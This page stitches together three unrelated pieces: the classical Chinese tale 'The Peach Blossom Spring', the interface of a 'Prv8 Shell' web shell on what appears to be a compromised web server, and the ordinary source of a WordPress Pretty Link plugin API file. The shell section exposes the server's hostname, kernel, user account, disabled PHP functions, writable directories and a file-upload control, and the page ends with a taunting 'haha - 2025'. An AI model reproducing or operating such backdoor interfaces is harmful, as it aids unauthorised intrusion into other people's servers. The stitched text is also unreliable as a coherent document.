晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/stando/www/wp-content/plugins/pretty-link/app/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/stando/www/wp-content/plugins/pretty-link/app/controllers/PrliLocalApiController.php
<?php if(!defined('ABSPATH')) { die('You are not allowed to call this page directly.'); }

/**
 * Pretty Link WordPress Plugin API
 */
class PrliLocalApiController extends PrliBaseController {
  public function load_hooks() {
    // nothing yet
  }

  /**
   * Returns the API Version as a string.
   */
  public function api_version() {
    return '1.3';
  }

  /**
   * Create a Pretty Link for a long, ugly URL.
   *
   * @param string $target_url Required, it is the value of the Target URL you
   *                           want the Pretty Link to redirect to
   *
   * @param string $slug Optional, slug for the Pretty Link (string that comes
   *                     after the Pretty Link's slash) if this value isn't set
   *                     then a random slug will be automatically generated.
   *
   * @param string $name Optional, name for the Pretty Link. If this value isn't
   *                     set then the name will be the slug.
   *
   * @param string $description Optional, description for the Pretty Link.
   *
   * @param integer $group_id DEPRECATED Optional, the group that this link will be placed in.
   *                          If this value isn't set then the link will not be
   *                          placed in a group.
   *
   * @param boolean $link_track_me Optional, If true the link will be tracked,
   *                               if not set the default value (from the pretty
   *                               link option page) will be used
   *
   * @param boolean $link_nofollow Optional, If true the nofollow attribute will
   *                               be set for the link, if not set the default
   *                               value (from the pretty link option page) will
   *                               be used
   *
   * @param string $link_redirect_type Optional, valid values include '307', '302', '301',
   *                                   'prettybar', 'cloak' or 'pixel'
   *                                   if not set the default value (from the pretty
   *                                   link option page) will be used
   *
   * @return boolean / string The Full Pretty Link if Successful and false for Failure.
   *                          This function will also set a global variable named
   *                          $prli_pretty_slug which gives the slug of the link
   *                          created if the link is successfully created -- it will
   *                          set a variable named $prli_error_messages if the link
   *                          was not successfully created.
   */
  public function create_pretty_link( $target_url,
                                    $slug = '',
                                    $name = '',
                                    $description = '',
                                    $group_id = 0, // deprecated
                                    $track_me = '',
                                    $nofollow = '',
                                    $sponsored = '',
                                    $redirect_type = '',
                                    $param_forwarding = '',
                                    $param_struct = '' ) {
    global $wpdb, $prli_link, $prli_blogurl;
    global $prli_error_messages, $prli_pretty_link, $prli_pretty_slug, $prli_options;

    $prli_error_messages = array();

    $values = array();
    $values['url']              = $target_url;
    $values['slug']             = (($slug == '') ? $prli_link->generateValidSlug() : $slug);
    $values['name']             = $name;
    $values['description']      = $description;
    $values['redirect_type']    = (($redirect_type == '') ? $prli_options->link_redirect_type : $redirect_type);
    $values['nofollow']         = (($nofollow === '') ? $prli_options->link_nofollow : $nofollow);
    $values['sponsored']        = (($sponsored === '') ? $prli_options->link_sponsored : $sponsored);
    $values['track_me']         = (($track_me === '') ? $prli_options->link_track_me : $track_me);
    $values['param_forwarding'] = (($param_forwarding === '') ? 0 : $param_forwarding);
    $values['param_struct']     = $param_struct;

    // prevent some values from being stored
    if(empty($values['nofollow']) || !$values['nofollow'])
      unset($values['nofollow']);
    if(empty($values['sponsored']) || !$values['sponsored'])
      unset($values['sponsored']);
    if(empty($values['track_me']) || !$values['track_me'])
      unset($values['track_me']);
    if(empty($values['param_forwarding']) || !$values['param_forwarding'])
      unset($values['param_forwarding']);

    $prli_error_messages = $prli_link->validate( $values );

    if( count($prli_error_messages) == 0 ) {
      if( $id = $prli_link->create( $values ) ) {
        return $id;
      }
      else {
        $prli_error_messages[] = __("An error prevented your Pretty Link from being created", 'pretty-link');
        return false;
      }
    }
    else
      return false;
  }

  public function update_pretty_link( $id,
                                      $target_url = '',
                                      $slug = '',
                                      $name = -1,
                                      $description = -1,
                                      $group_id = '', // deprecated
                                      $track_me = '',
                                      $nofollow = '',
                                      $sponsored = '',
                                      $redirect_type = '',
                                      $param_forwarding = '',
                                      $param_struct = -1 ) {
    global $wpdb, $prli_link, $prli_blogurl;
    global $prli_error_messages, $prli_pretty_link, $prli_pretty_slug;

    if(empty($id))
    {
      $prli_error_messages[] = __("Pretty Link ID must be set for successful update.", 'pretty-link');
      return false;
    }

    $record = $prli_link->getOne($id);

    $prli_error_messages = array();

    $values = array();
    $values['id']               = $id;
    $values['url']              = (($target_url == '') ? $record->url : $target_url);
    $values['slug']             = (($slug == '') ? $record->slug : $slug);
    $values['name']             = (($name == -1) ? $record->name : $name);
    $values['description']      = (($description == -1) ? $record->description : $description);
    $values['redirect_type']    = (($redirect_type == '') ? $record->redirect_type : $redirect_type);
    $values['nofollow']         = (($nofollow === '') ? $record->nofollow : $nofollow);
    $values['sponsored']        = (($sponsored === '') ? $record->sponsored : $sponsored);
    $values['track_me']         = (($track_me === '') ? (int)$record->track_me : $track_me);
    $values['param_forwarding'] = (($param_forwarding === '') ? (int)$record->param_forwarding : $param_forwarding);
    $values['param_struct']     = ''; // deprecated
    $values['link_cpt_id']      = $record->link_cpt_id;

    // prevent some values from being stored
    if(empty($values['nofollow']) || !$values['nofollow'])
      unset($values['nofollow']);
    if(empty($values['sponsored']) || !$values['sponsored'])
      unset($values['sponsored']);
    if(empty($values['track_me']) || !$values['track_me'])
      unset($values['track_me']);
    if(empty($values['param_forwarding']) || !$values['param_forwarding'])
      unset($values['param_forwarding']);

    $prli_error_messages = $prli_link->validate( $values, $id );

    if( count($prli_error_messages) == 0 ) {
      if( $prli_link->update( $id, $values ) ) {
        return true;
      }
      else {
        $prli_error_messages[] = __("An error prevented your Pretty Link from being created", 'pretty-link');
        return false;
      }
    }
    else {
      return false;
    }
  }

  /**
   * DEPRECATED: Get all the pretty link groups in an array suitable for creating a select box.
   *
   * @return bool (false if failure) | array A numerical array of associative arrays
   *                                         containing all the data about the pretty
   *                                         link groups.
   */
  public function get_all_groups() {
    return array();
  }

  /**
   * Get all the pretty links in an array suitable for creating a select box.
   *
   * @return bool (false if failure) | array A numerical array of associative arrays
   *                                         containing all the data about the pretty
   *                                         links.
   */
  public function get_all_links() {
    global $prli_link;
    $links = $prli_link->getAll('',' ORDER BY li.name', ARRAY_A);
    return $links;
  }

  /**
   * Gets a specific link from a slug and returns info about it in an array
   *
   * @return bool (false if failure) | array An associative array with all the
   *                                         data about the given pretty link.
   */
  public function get_link_from_slug($slug, $return_type = OBJECT, $include_stats = false) {
    global $prli_link;
    $link = $prli_link->getOneFromSlug($slug, $return_type, $include_stats);
    return $link;
  }

  /**
   * Gets a specific link from id and returns info about it in an array
   *
   * @return bool (false if failure) | array An associative array with all the
   *                                         data about the given pretty link.
   */
  public function get_link($id, $return_type = OBJECT, $include_stats = false) {
    global $prli_link;
    $link = $prli_link->getOne($id, $return_type, $include_stats);
    return $link;
  }

  /**
   * Gets the full pretty link url from an id
   *
   * @return bool (false if failure) | string the pretty link url
   */
  public function get_pretty_link_url($id) {
    global $prli_link,$prli_blogurl;

    $pretty_link = $prli_link->getOne($id);

    if($pretty_link) {
      return $prli_blogurl.PrliUtils::get_permalink_pre_slug_uri().$pretty_link->slug;
    }

    return false;
  }

}


/**
 * Pretty Link WordPress Plugin API Functions
 */

function prli_api_version() {
  $ctrl = new PrliLocalApiController();
  return $ctrl->api_version;
}

function prli_create_pretty_link( $target_url,
                                  $slug = '',
                                  $name = '',
                                  $description = '',
                                  $group_id = 0, // deprecated
                                  $track_me = '',
                                  $nofollow = '',
                                  $sponsored = '',
                                  $redirect_type = '',
                                  $param_forwarding = '',
                                  $param_struct = '' ) {
  $ctrl = new PrliLocalApiController();
  return $ctrl->create_pretty_link( $target_url,
                                    $slug,
                                    $name,
                                    $description,
                                    $group_id, // deprecated
                                    $track_me,
                                    $nofollow,
                                    $sponsored,
                                    $redirect_type,
                                    $param_forwarding,
                                    $param_struct );
}

function prli_update_pretty_link( $id,
                                  $target_url = '',
                                  $slug = '',
                                  $name = -1,
                                  $description = -1,
                                  $group_id = '', // deprecated
                                  $track_me = '',
                                  $nofollow = '',
                                  $sponsored = '',
                                  $redirect_type = '',
                                  $param_forwarding = '',
                                  $param_struct = -1 ) {
  $ctrl = new PrliLocalApiController();
  return $ctrl->update_pretty_link( $id,
                                    $target_url,
                                    $slug,
                                    $name,
                                    $description,
                                    $group_id, // deprecated
                                    $track_me,
                                    $nofollow,
                                    $sponsored,
                                    $redirect_type,
                                    $param_forwarding,
                                    $param_struct );
}

/** DEPRECATED **/
function prli_get_all_groups() {
  return array();
}

function prli_get_all_links() {
  $ctrl = new PrliLocalApiController();
  return $ctrl->get_all_links();
}

function prli_get_link_from_slug($slug, $return_type = OBJECT, $include_stats = false) {
  $ctrl = new PrliLocalApiController();
  return $ctrl->get_link_from_slug($slug, $return_type, $include_stats);
}

function prli_get_link($id, $return_type = OBJECT, $include_stats = false) {
  $ctrl = new PrliLocalApiController();
  return $ctrl->get_link($id, $return_type, $include_stats);
}

function prli_get_pretty_link_url($id) {
  $ctrl = new PrliLocalApiController();
  return $ctrl->get_pretty_link_url($id);
}


haha - 2025